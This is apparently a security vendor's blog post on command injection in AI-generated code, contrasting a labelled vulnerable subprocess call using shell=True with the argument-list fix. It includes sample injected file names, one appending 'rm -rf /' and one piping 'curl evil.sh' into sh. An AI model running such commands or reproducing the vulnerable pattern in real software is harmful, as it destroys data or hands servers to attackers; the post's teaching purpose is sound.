All posts

Field guide

Command injection in AI-generated code: when user input reaches the shell

If an assistant builds a feature that shells out, resizing an image, running a tool, calling a CLI, it tends to build the command as a string with your input glued in. That is command injection, and it lets an attacker run their own commands on your server. Here is how it slips in and the structural fix.

Last updated

Plenty of features shell out to another program: converting a file, running a command-line tool, calling into the system. When an AI tool writes one, it usually builds the command as a string and drops the user input straight in, because that reads naturally and runs fine on the input it was tested with. The problem is that running a string through a shell means the shell interprets every character, so input with the right symbols stops being data and becomes commands.

How the bug works

A shell parses the whole command string, so characters like a semicolon, a pipe, or backticks are treated as instructions, not text. If any part of that string comes from a user, they can append their own command and the shell will run it with your server's privileges.

# the vulnerable pattern: input inside a shell command
subprocess.run(
    f"convert {name}.png out.png",
    shell=True
)

# a crafted name runs a second command:
#   report; rm -rf /
# the shell sees two commands and runs both

The impact is usually worse than injection into a database, because the command runs on the server itself. That can mean reading files, reaching internal services, installing something, or taking the box over entirely. The concept in full is in what command injection is.

Want to see exactly what Prbl flags? Watch it scan a demo app, no repo or account needed.

See a live scan →

The fix: take the shell out of the path

The reliable fix is structural. Do not run the command through a shell, and pass the program and its arguments as a list. The input then reaches the program as a single argument, and because there is no shell parsing the string, its characters are never interpreted as commands.

# safe: no shell, arguments passed as a list
subprocess.run(
    ["convert", f"{name}.png", "out.png"]
)

The same rule holds in Node: prefer execFile or spawn with an arguments array over exec with an interpolated string. The full walkthrough, with a few variations, is in the fix for command injection in a shell call.

Why filtering the input is not the answer

It is tempting to strip dangerous characters instead, but blocklisting keeps failing. There are many shells and many metacharacters, and one you forget, or one encoding you did not consider, reopens the hole. Removing the shell removes the entire class of problem, which is why it beats trying to sanitize your way around it. This is the same lesson as SQL injection, where parameterizing the query beats escaping the input.

Frequently asked questions

How is command injection different from SQL injection?

They are the same idea aimed at a different interpreter. SQL injection puts attacker input into a query the database parses; command injection puts it into a command the operating system shell parses. Both happen because input is treated as instructions rather than data, and both are fixed the same way in spirit: keep the input separate from the thing that gets interpreted. The blast radius of command injection is usually larger, because it runs on the server itself.

Is it safe if I only pass a filename or a small value?

No, because the shell does not care how small the input is, only what characters it contains. A filename like report; curl evil.sh | sh is still parsed by the shell as two commands. The size of the value is irrelevant; what matters is whether a shell interprets it. If any part of a command is built from input and run through a shell, it is exploitable.

What is the actual fix?

Do not run the command through a shell, and pass the program and its arguments as a list so the input is handed to the program as data. In Node, use execFile or spawn with an arguments array instead of exec with an interpolated string. In Python, pass a list to subprocess.run and avoid shell=True. The input then reaches the program as a single argument, and there is no shell to interpret its characters.

Can I just strip dangerous characters from the input?

Blocklisting characters is fragile and keeps failing, because there are many shells, many metacharacters, and many encodings, and one you forget reopens the hole. The reliable fix is structural: remove the shell from the path so there is nothing to inject into. Passing arguments as a list does that. Reach for the structural fix, not a filter.

Check where your app shells out

Any place your code builds a command from input is worth a look, and a scan flags the pattern by shape, so you are not hunting for every subprocess call by hand. A scan reads the repo and points at the line, so you can move to an arguments list before the feature meets hostile input. Run a free scan and see whether any command in your app is built from user input.

Prbl scans the AI-generated parts of your codebase for exactly the kinds of issues above.

Command Injection in AI-Generated Code: When User Input Reaches the Shell: Prbl